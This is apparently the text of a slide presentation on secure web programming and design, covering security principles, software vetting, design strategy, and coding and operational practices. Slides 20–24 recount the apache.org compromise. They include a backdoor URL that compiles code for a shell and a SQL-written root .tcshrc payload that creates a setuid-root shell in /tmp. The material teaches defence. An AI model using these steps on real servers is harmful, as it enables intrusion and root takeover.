1. Security and Web Programming/Design

2. cell phones bio-facilities Sodas, junk food, and coffee Welcome to the No Smoking State

3. who are you? where are you from? what do you do? Emacs or vi?

4. Warm Fuzzies Secure Design and Implementation Wordage

5. Security Concepts Vetting Software Design Strategy Developer practices Coding Practices Operational Practices

6. Security Concepts

7. trust transitive trust

8. principle of least privilege enumerating badness “best block: not be there” -- Mr. Miyage

9. “defense in depth”

10. threats vulnerabilities risks

11. who accepts the risk?

12. being paranoid

13. confidentiality integrity availability

14. protect what you can detect what you can’t prevent

15. hammers, nails...

16. a security mechanism is design to protect against a specific finite set of attacks. It usually fails gloriously when modified or used for other purposes.

17. don’t design your own new security protocol

18. the law of unintended consequences

19. don’t rely on the environment for protection don’t rely on good behavior don’t rely on things you can’t control

20. how apache.org got pwn3d

21. ftproot == wwwroot webuser == o+w

22. upload php via ftp upload backdoor code compile and execute via http http://www.apache.org/thatdir/wuh.php3?cmd=gc c+-o+httpd+httpd.c voila! shell on web server

23. bugzilla talking to mysql mysql running as root mysql username/password stored script

24. create table with text field insert: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc query: SELECT... INTO ‘/root/.tchsrc’ wait for someone to “su -”

25. Security Vetting

26. What is it supposed to do? How does it work? What side effects are there? How is it deployed and maintained?

27. How does it fail? What is the risk? Can it be mitigated?

28. usability and security

29. understanding caring under-budget

30. security is an enabling task

31. It is especially important for expert programmers to internalize this habit, for two reasons. One is that expert programmers are disproportionately drawn from the high end of the bell curve in their working-set size; therefore they tend to systematically overestimate the amount of complexity other people can handle easily. -- Eric S. Raymond, The Art of Unix Usability

32. Design Strategy

33. top down design

34. goals requirements design review

35. what is the end result? what problem trying to solve? *not* how it is implemented

36. security usability performance environmental

37. support deployment political external

38. as simple as possible to meet the requirements add requirements if apparent during design be prepared to change when requirements can’t be met

39. for each security control what threat is addressed? Really?

40. recent examples

41. Developer Practices

42. The three virtues of a programmer are laziness, impatience, and hubris. -- Larry Wall

43. Group permissions and accounts Code Safety Test Environment Regression Testing

44. Coding Practices

45. bounds checking input validation no client-side trust error checking

46. sql injection cross-site scripting credential handling data mapping logging

47. don’t require shell for remote execution

49. Operational Practices

50. Server accounts and permissions handling credentials accountability software maintenance documentation testing and debugging